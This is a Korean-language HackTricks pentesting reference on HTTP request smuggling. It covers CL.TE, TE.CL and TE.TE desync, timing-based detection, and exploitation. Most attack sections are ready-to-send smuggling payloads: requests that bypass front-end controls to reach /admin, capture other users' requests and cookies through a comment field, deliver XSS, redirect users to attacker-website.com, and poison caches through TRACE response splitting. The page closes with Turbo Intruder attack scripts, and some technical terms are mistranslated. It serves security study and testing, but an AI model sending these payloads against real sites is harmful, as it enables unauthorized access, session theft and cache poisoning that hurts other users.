HTTP Request Smuggling / HTTP Desync Attack

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

무엇인가

이 취약점은 프론트엔드 프록시백엔드 서버 간의 비동기화로 인해 공격자프론트엔드 프록시(로드 밸런스/리버스 프록시)에 의해 단일 요청으로 해석되는 HTTP 요청을 보낼 수 있게 하는 것입니다. 그리고 백엔드 서버에 의해 2개의 요청으로 해석됩니다. 이를 통해 사용자는 자신의 다음 요청을 수정할 수 있습니다.

이론

RFC 명세서 (2161)

메시지가 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드를 모두 포함하는 경우, 후자는 무시해야 합니다.

Content-Length

Content-Length 엔터티 헤더는 수신자에게 전송된 엔터티 본문의 바이트 크기를 나타냅니다.

Transfer-Encoding: chunked

Transfer-Encoding 헤더는 페이로드 본문을 안전하게 전송하는 데 사용되는 인코딩 형식을 지정합니다. Chunked는 대량 데이터가 일련의 청크로 전송된다는 것을 의미합니다.

현실

프론트엔드 (로드 밸런스 / 리버스 프록시)는 content-length 또는 transfer-encoding 헤더를 처리하고 백엔드 서버는 다른 하나를 처리하여 두 시스템 간의 비동기화를 유발합니다. 이는 공격자가 리버스 프록시에 하나의 요청을 보낼 수 있게 해줄 수 있기 때문에 매우 심각할 수 있습니다. 이 요청은 프론트엔드 서버에 의해 단일 요청으로 해석되고 백엔드 서버에 의해 2개의 다른 요청으로 해석됩니다. 이 기술의 위험은 백엔드 서버가 주입된 2번째 요청다음 클라이언트에서 온 것으로 해석하고 해당 클라이언트의 실제 요청주입된 요청의 일부가 될 수 있다는 점에 있습니다.

특이사항

HTTP에서 새 줄 문자는 2바이트로 구성된다는 것을 기억하세요:

  • Content-Length: 이 헤더는 요청의 바디바이트 수를 나타내기 위해 10진수를 사용합니다. 바디는 마지막 문자로 끝나야 하며, 요청의 끝에 새 줄이 필요하지 않습니다.

  • Transfer-Encoding: 이 헤더는 다음 청크바이트 수를 나타내기 위해 16진수바디에서 사용합니다. 청크새 줄로 끝나야 하지만 이 새 줄은 길이 표시자에 포함되지 않습니다. 이 전송 방법은 0 크기의 청크 뒤에 2개의 새 줄이 따라야 합니다: 0

  • Connection: 내 경험에 따르면 요청 스머글링의 첫 번째 요청에 **Connection: keep-alive**를 사용하는 것이 좋습니다.

기본 예제

Burp Suite를 사용하여 이를 악용하려면 반복기에서 Update Content-LengthNormalize HTTP/1 line endings를 비활성화하세요. 일부 가젯이 새 줄, 캐리지 리턴 및 형식이 잘못된 content-length를 남용하기 때문입니다.

HTTP 요청 스머글링 공격은 프론트엔드 및 백엔드 서버가 Content-Length (CL) 및 Transfer-Encoding (TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 보내어 생성됩니다. 이러한 공격은 주로 CL.TE, TE.CL, TE.TE로 나타날 수 있습니다. 각 유형은 프론트엔드 및 백엔드 서버가 이러한 헤더를 우선순위에 따라 처리하는 독특한 조합을 나타냅니다. 서버가 동일한 요청을 다른 방식으로 처리함으로써 취약점이 발생하며 예상치 못한 악의적 결과를 초래할 수 있습니다.

취약점 유형의 기본 예제

CL.TE 취약점 (프론트엔드에서 Content-Length 사용, 백엔드에서 Transfer-Encoding 사용)

  • 프론트엔드 (CL): Content-Length 헤더를 기반으로 요청을 처리합니다.

  • 백엔드 (TE): Transfer-Encoding 헤더를 기반으로 요청을 처리합니다.

  • 공격 시나리오:

  • 공격자가 Content-Length 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.

  • 프론트엔드 서버는 Content-Length 값에 따라 전체 요청을 백엔드로 전달합니다.

  • 백엔드 서버는 Transfer-Encoding: chunked 헤더로 청크 처리하여 남은 데이터를 별도의 후속 요청으로 해석합니다.

  • 예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL 취약점 (프론트엔드에서 Transfer-Encoding 사용, 백엔드에서 Content-Length 사용)

  • 프론트엔드 (TE): Transfer-Encoding 헤더를 기반으로 요청을 처리합니다.

  • 백엔드 (CL): Content-Length 헤더를 기반으로 요청을 처리합니다.

  • 공격 시나리오:

  • 공격자가 청크 요청을 보내는데 청크 크기 (7b)와 실제 콘텐츠 길이 (Content-Length: 4)가 일치하지 않습니다.

  • 프론트엔드 서버는 Transfer-Encoding을 준수하여 전체 요청을 백엔드로 전달합니다.

  • 백엔드 서버는 Content-Length를 존중하여 요청의 초기 부분만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다.

  • 예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE 취약점 (양쪽에서 사용되는 Transfer-Encoding, 난독화 포함)

  • 서버: 둘 다 Transfer-Encoding을 지원하지만, 난독화를 통해 무시하도록 속일 수 있음.

  • 공격 시나리오:

  • 공격자가 난독화된 Transfer-Encoding 헤더를 포함한 요청을 보냄.

  • 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점을 악용할 수 있음.

  • 서버 중 하나가 처리되지 않은 요청 부분을 보고 후속 요청의 일부로 만들어서 스머글링이 발생함.

  • 예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL 시나리오 (Content-Length을 프론트엔드와 백엔드 모두 사용):

  • 두 서버 모두 요청을 Content-Length 헤더를 기반으로 처리함.

  • 이 시나리오는 일반적으로 서버가 요청 길이를 해석하는 방식에 일치하기 때문에 스머글링으로 이어지지 않음.

  • 예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

일반 요청

CL != 0 시나리오:

  • Content-Length 헤더가 존재하고 값이 0이 아닌 경우를 가리킴. 이는 요청 본문에 내용이 있는 것을 나타냄.

  • 이는 스머글링 공격을 이해하고 만들 때 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 줌.

  • 예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

비어 있지 않은 본문

웹 서버 파괴

이 기술은 초기 HTTP 데이터를 읽는 동안 웹 서버를 파괴하지만 연결을 닫지 않는 상황에서도 유용함. 이렇게 하면 HTTP 요청의 본문다음 HTTP 요청으로 간주됨.

예를 들어, 이 설명에서 설명한대로 Werkzeug에서는 일부 Unicode 문자를 보내면 서버가 파괴될 수 있었음. 그러나 HTTP 연결이 Connection: keep-alive 헤더로 생성된 경우 요청의 본문이 읽히지 않고 연결이 여전히 열려 있으므로 요청의 본문다음 HTTP 요청으로 처리됨.

hop-by-hop 헤더를 통한 강제

hop-by-hop 헤더를 남용하여 프록시에게 Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있음.

Connection: Content-Length

더 많은 hop-by-hop 헤더에 대한 정보를 원하시면 방문하세요:

pagehop-by-hop headers

HTTP 요청 스머글링 찾기

HTTP 요청 스머글링 취약점을 식별하는 것은 종종 서버가 조작된 요청에 응답하는 데 얼마나 오랜 시간이 걸리는지 관찰하는 타이밍 기술을 사용하여 달성할 수 있습니다. 이러한 기술은 특히 CL.TE 및 TE.CL 취약점을 감지하는 데 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾기 위해 사용할 수 있는 다른 전략과 도구가 있습니다:

타이밍 기술을 사용하여 CL.TE 취약점 찾기

  • 방법:

  • 취약한 경우 애플리케이션이 추가 데이터를 기다리도록 하는 요청을 보냅니다.

  • 예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • 관찰:

  • 프론트엔드 서버는 Content-Length를 기반으로 요청을 처리하고 메시지를 일찍 잘라냅니다.

  • 청크된 메시지를 기대하는 백엔드 서버는 도착하지 않는 다음 청크를 기다리며 지연을 발생시킵니다.

  • 지표:

  • 응답 시 타임아웃이나 긴 지연.

  • 백엔드 서버로부터 400 Bad Request 오류를 수신하며 때로는 자세한 서버 정보와 함께.

타이밍 기술을 사용하여 TE.CL 취약점 찾기

  • 방법:

  • 취약한 경우 애플리케이션이 추가 데이터를 기다리도록 하는 요청을 보냅니다.

  • 예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 관찰:

  • 프론트엔드 서버는 Transfer-Encoding을 기반으로 요청을 처리하고 전체 메시지를 전달합니다.

  • Content-Length를 기반으로 메시지를 기대하는 백엔드 서버는 도착하지 않는 추가 데이터를 기다리며 지연을 발생시킵니다.

취약점 찾기 위한 다른 방법

  • 차이점 응답 분석:

  • 요청의 약간 다른 버전을 보내고 서버 응답이 예상치 않은 방식으로 다른지 관찰하여 구문 분석 불일치를 나타내는지 확인합니다.

  • 자동화 도구 사용:

  • Burp Suite의 'HTTP Request Smuggler' 확장 프로그램과 같은 도구를 사용하여 모호한 요청의 다양한 형태를 보내고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.

  • Content-Length 변이 테스트:

  • 실제 콘텐츠 길이와 일치하지 않는 다양한 Content-Length 값을 가진 요청을 보내고 서버가 이러한 불일치를 처리하는 방법을 관찰합니다.

  • Transfer-Encoding 변이 테스트:

  • 왜곡되거나 잘못된 Transfer-Encoding 헤더를 가진 요청을 보내고 프론트엔드 및 백엔드 서버가 이러한 조작에 다르게 응답하는 방식을 모니터링합니다.

HTTP 요청 스머글링 취약점 테스트

타이밍 기술의 효과를 확인한 후, 클라이언트 요청이 조작될 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 예를 들어 /로 요청을 보내어 404 응답을 유도하는 것입니다. 기본 예제에서 이전에 설명한 CL.TETE.CL 예제는 클라이언트의 요청을 독려하여 404 응답을 유도하는 방법을 보여줍니다.

주요 고려 사항

다른 요청에 간섭하여 요청 스머글링 취약점을 테스트할 때 다음을 염두에 두세요:

  • 구분된 네트워크 연결: "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 확인하지 않습니다.

  • 일관된 URL 및 매개변수: 두 요청에 대해 동일한 URL 및 매개변수 이름을 사용하려고 노력하세요. 현대적인 애플리케이션은 URL 및 매개변수를 기반으로 특정 백엔드 서버로 요청을 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리되는 가능성이 높아지며, 성공적인 공격을 위한 전제 조건이 됩니다.

  • 타이밍 및 경쟁 조건: "공격" 요청으로부터의 간섭을 감지하려는 "정상" 요청은 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청을 바로 뒤이어 "정상" 요청을 보내야 합니다. 바쁜 애플리케이션은 결정적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.

  • 부하 분산 도전: 부하 분산기로 작동하는 프론트엔드 서버는 요청을 여러 백엔드 시스템으로 분산할 수 있습니다. "공격" 및 "정상" 요청이 다른 시스템에 도달하면 공격이 성공하지 않을 수 있습니다. 이 부하 분산 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.

  • 의도하지 않은 사용자 영향: 공격이 다른 사용자의 요청에 영향을 미칠 경우 (검출을 위해 보낸 "정상" 요청이 아닌 경우) 공격이 다른 애플리케이션 사용자에게 영향을 미친다는 것을 나타냅니다. 계속해서 테스트를 수행하면 다른 사용자를 방해할 수 있으므로 신중한 접근이 필요합니다.

HTTP 요청 스머글링 남용

HTTP 요청 스머글링을 통한 프론트엔드 보안 우회

가끔 프론트엔드 프록시는 들어오는 요청을 검토하여 보안 조치를 시행합니다. 그러나 HTTP 요청 스머글링을 악용함으로써 이러한 조치를 우회할 수 있어서 제한된 엔드포인트에 무단 액세스할 수 있습니다. 예를 들어 /admin에 액세스하는 것이 외부에서 금지되어 있을 수 있으며, 프론트엔드 프록시가 이러한 시도를 차단할 수 있습니다. 그러나 이 프록시는 스머글링된 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 구멍을 남겨둘 수 있습니다.

다음 예제를 통해 HTTP 요청 스머글링을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 설명하는 것을 고려해보세요, 특히 일반적으로 프론트엔드 프록시에 의해 보호되는 /admin 경로를 대상으로 합니다:

CL.TE 예제

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE 공격에서는 초기 요청에 Content-Length 헤더가 활용되며, 이어지는 내장 요청에는 Transfer-Encoding: chunked 헤더가 사용됩니다. 프론트엔드 프록시는 초기 POST 요청을 처리하지만 내장된 GET /admin 요청을 검사하지 못하여 /admin 경로로의 무단 액세스가 허용됩니다.

TE.CL 예시

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

프론트엔드 요청 재작성 공개

악용 기법인 TE.CL 공격에서는 초기 POST 요청이 Transfer-Encoding: chunked를 사용하며, 이어지는 내장된 요청은 Content-Length 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 숨겨진 GET /admin 요청을 간과하여 제한된 /admin 경로에 액세스 권한을 부여합니다.

프로그램은 종종 프론트엔드 서버를 사용하여 요청을 백엔드 서버로 전달하기 전에 수정합니다. 일반적인 수정 사항으로는 X-Forwarded-For: <클라이언트의 IP>와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드로 전달하는 것이 있습니다. 이러한 수정 사항을 이해하는 것은 보호 장치 우회 또는 숨겨진 정보 또는 엔드포인트 노출 방법을 밝혀낼 수 있기 때문에 중요할 수 있습니다.

프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 반영하는 POST 매개변수를 찾습니다. 그런 다음, 다음과 유사한 방식으로 이 매개변수를 마지막에 사용하여 요청을 작성합니다:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

이 구조에서는 search= 뒤에 이어지는 요청 구성 요소가 추가되며, 이는 응답에 반영된 매개변수입니다. 이 반영은 이후 요청의 헤더를 노출시킵니다.

중첩된 요청의 Content-Length 헤더를 실제 콘텐츠 길이와 일치시키는 것이 중요합니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 값이 너무 낮으면 반영된 데이터가 잘릴 수 있고, 값이 너무 높으면 요청이 오류가 발생할 수 있습니다.

이 기술은 TE.CL 취약점의 맥락에서도 적용할 수 있지만, 요청은 search=\r\n0로 종료해야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.

이 방법은 주로 프론트엔드 프록시에 의해 수행된 요청 수정을 이해하기 위한 것으로, 본질적으로 자체 조사를 수행합니다.

다른 사용자의 요청 캡처하기

POST 작업 중 매개변수의 값으로 특정 요청을 추가함으로써 다음 사용자의 요청을 캡처하는 것이 가능합니다. 다음은 이를 수행하는 방법입니다:

다음 요청을 매개변수의 값으로 추가함으로써 이후 클라이언트의 요청을 저장할 수 있습니다:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

이 시나리오에서 comment parameter는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하는 데 사용됩니다. 따라서 후속 요청의 내용은 댓글로 표시됩니다.

그러나 이 기술에는 제한이 있습니다. 일반적으로, 이 기술은 새겨진 요청에서 사용된 매개변수 구분 기호까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분 기호는 & 문자입니다. 이는 희생자 사용자의 요청에서 캡처된 내용이 첫 번째 &에서 중지됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.

게다가, TE.CL 취약점이 있는 경우에도 이 접근 방식이 유효하다는 점을 언급할 가치가 있습니다. 이러한 경우에는 요청이 search=\r\n0로 끝나야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.

반사된 XSS 취약점을 악용하기 위해 HTTP 요청 스머글링 사용

HTTP 요청 스머글링을 사용하여 반사된 XSS에 취약한 웹 페이지를 악용할 수 있으며, 다음과 같은 중요한 이점을 제공합니다:

  • 대상 사용자와의 상호 작용이 필요하지 않음.

  • 일반적으로 액세스할 수 없는 요청의 일부인 XSS를 악용할 수 있음.

사용자 에이전트 헤더를 통해 반사된 XSS에 취약한 웹 사이트의 시나리오에서, 다음 payload는 이 취약점을 악용하는 방법을 보여줍니다:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

이 payload는 취약점을 악용하기 위해 구성되었습니다:

  1. Transfer-Encoding: chunked 헤더가 포함된 POST 요청을 시작하여 스머글링의 시작을 나타냅니다.

  2. 0을 포함하여 청크 메시지 본문의 끝을 표시합니다.

  3. 그런 다음, 주입된 <script>alert(1)</script> 스크립트로 User-Agent 헤더가 포함된 스머글링된 GET 요청이 도입되어 서버가 이후 요청을 처리할 때 XSS를 트리거합니다.

User-Agent를 스머글링을 통해 조작함으로써 페이로드는 일반적인 요청 제약을 우회하여 Reflected XSS 취약점을 비표준적이지만 효과적인 방식으로 악용합니다.

HTTP/0.9

사용자 콘텐츠가 **text/plain**과 같은 **Content-type**을 가진 응답에 반영되는 경우 XSS의 실행을 방지합니다. 서버가 HTTP/0.9를 지원하는 경우 이를 우회할 수 있을 수도 있습니다!

HTTP/0.9 버전은 이전에 1.0 이전에 있었으며 GET 동사만 사용하며 헤더를 응답하지 않고 본문만을 반환합니다.

이 설명서에서는 요청 스머글링과 함께 사용자의 입력을 응답으로 다시 보내는 취약한 엔드포인트와 함께 HTTP/0.9 요청을 스머글링하기 위해 남용되었습니다. 응답에 반영될 매개변수는 **가짜 HTTP/1.1 응답(헤더 및 본문이 포함된)**을 포함하므로 응답에는 Content-Typetext/html인 유효한 실행 가능한 JS 코드가 포함됩니다.

HTTP 요청 스머글링을 통한 온사이트 리다이렉트 악용

응용 프로그램은 종종 리디렉션을 위해 Host 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 슬래시가 없는 폴더를 요청하면 슬래시를 포함한 리디렉션이 발생합니다:

GET /home HTTP/1.1
Host: normal-website.com

결과:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

비록 해롭지 않아 보이지만, HTTP 요청 스머글링을 사용하여 사용자를 외부 사이트로 리디렉션하는 데 조작할 수 있습니다. 예를 들어:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

다음 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리다이렉트되도록 이번에 밀반입된 요청이 유발될 수 있습니다:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

결과:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

웹 캐시 독점을 통한 HTTP 요청 스머글링을 통한 웹 캐시 독점 악용

웹 캐시 독점은 프런트엔드 인프라의 구성 요소 중 하나가 콘텐츠를 캐시하여 일반적으로 성능을 향상시키는 경우에 실행할 수 있습니다. 서버 응답을 조작함으로써 캐시를 독점할 수 있습니다.

이전에 서버 응답이 변경되어 404 오류를 반환하는 것을 관찰했었습니다(자세한 내용은 기본 예제를 참조). 마찬가지로, 서버를 속여 /static/include.js를 요청한 경우에 /index.html 콘텐츠를 반환하도록 유도할 수 있습니다. 결과적으로, /static/include.js 콘텐츠는 /index.html의 콘텐츠로 캐시에 대체되어 사용자가 /static/include.js에 액세스할 수 없게 되어 서비스 거부 (DoS)로 이어질 수 있습니다.

이 기술은 오픈 리다이렉트 취약점이 발견되거나 오픈 리다이렉트로의 온사이트 리다이렉트가 있는 경우 특히 강력해집니다. 이러한 취약점을 악용하여 /static/include.js의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체하여, 업데이트된 /static/include.js를 요청하는 모든 클라이언트에 대한 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.

아래는 캐시 독점과 온사이트 리다이렉트에서 오픈 리다이렉트를 결합한 악용의 그림입니다. 목표는 /static/include.js의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 제공하도록 변경하는 것입니다:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

임베디드 요청이 /post/next?postId=3을 대상으로 한 것에 유의하십시오. 이 요청은 Host 헤더 값을 활용하여 도메인을 결정하여 /post?postId=4로 리디렉션됩니다. Host 헤더를 변경함으로써, 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (온사이트 리디렉트에서 오픈 리디렉트로).

성공적인 소켓 독점 이후 /static/include.js에 대한 GET 요청을 시작해야 합니다. 이 요청은 이전 온사이트 리디렉트에서 오픈 리디렉트로 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져올 것입니다.

이후, /static/include.js에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 실행할 것입니다.

웹 캐시 속임수를 사용하여 웹 캐시 속임수 수행

웹 캐시 독점과 웹 캐시 속임수의 차이점은 무엇인가요?

  • 웹 캐시 독점에서, 공격자는 응용 프로그램에 악의적인 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠가 캐시에서 다른 응용 프로그램 사용자에게 제공됩니다.

  • 웹 캐시 속임수에서, 공격자는 응용 프로그램에 다른 사용자에게 속한 일부 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 그런 다음 공격자는 이 콘텐츠를 캐시에서 검색합니다.

공격자는 민감한 사용자별 콘텐트를 가져오는 속임수 요청을 작성합니다. 다음 예를 고려하세요:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

만약 이 밀수한 요청이 정적 콘텐츠를 위한 캐시 항목(예: /someimage.png)을 오염시킨다면, 피해자의 민감한 데이터인 /private/messages가 정적 콘텐츠의 캐시 항목 아래 캐싱될 수 있습니다. 결과적으로 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있을 수 있습니다.

HTTP 요청 스머글링을 통한 TRACE 남용

이 게시물에서는 서버가 TRACE 메서드를 활성화한 경우 HTTP 요청 스머글링을 통해 이를 남용할 수 있다고 제안합니다. 이는 이 메서드가 서버로 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

다음과 같은 응답을 보냅니다:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

이 동작을 악용하는 예는 먼저 HEAD 요청을 숨겨 보내는 것입니다. 이 요청은 GET 요청의 헤더만을 포함한 응답을 받게 됩니다 (Content-Type 포함). 그리고 HEAD 다음에 즉시 TRACE 요청을 숨겨 보냅니다. 이 요청은 보낸 데이터를 반사할 것입니다. HEAD 응답에는 Content-Length 헤더가 포함되어 있기 때문에, TRACE 요청의 응답은 HEAD 응답의 본문으로 처리되어 임의의 데이터를 반사하게 됩니다. 이 응답은 연결을 통해 다음 요청으로 전송되므로, 예를 들어 캐시된 JS 파일에서 임의의 JS 코드를 삽입하는 데 사용될 수 있습니다.

HTTP 응답 분할을 통한 TRACE 남용

이 게시물을 계속 따라가면 TRACE 방법을 남용하는 또 다른 방법을 제안합니다. 언급된대로 HEAD 요청과 TRACE 요청을 숨겨 보내면, HEAD 요청에 대한 응답에서 일부 반사된 데이터를 제어할 수 있습니다. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며 TRACE 요청에 대한 응답으로 형성됩니다.

따라서, 이 Content-Length와 TRACE 응답에 포함된 데이터를 알면, TRACE 응답에 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답이 포함되도록 만들 수 있어 공격자가 다음 응답을 완전히 제어할 수 있게 됩니다 (캐시 독려를 수행하는 데 사용될 수 있음).

예:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

다음은 이러한 응답을 생성합니다 (HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD 본문의 일부가 되고 HEAD Content-Length가 끝나면 유효한 HTTP 응답이 숨겨집니다):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP 응담 비동기화를 이용한 HTTP 요청 스머글링 무기화

HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용해야 할지 모르겠다면 다음 악용 방법을 시도해보세요:

pageHTTP Response Smuggling / Desync

다른 HTTP 요청 스머글링 기술

  • 브라우저 HTTP 요청 스머글링 (클라이언트 측)

pageBrowser HTTP Request Smuggling
  • HTTP/2 다운그레이드에서의 요청 스머글링

pageRequest Smuggling in HTTP/2 Downgrades

Turbo intruder 스크립트

CL.TE

https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

도구

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

Last updated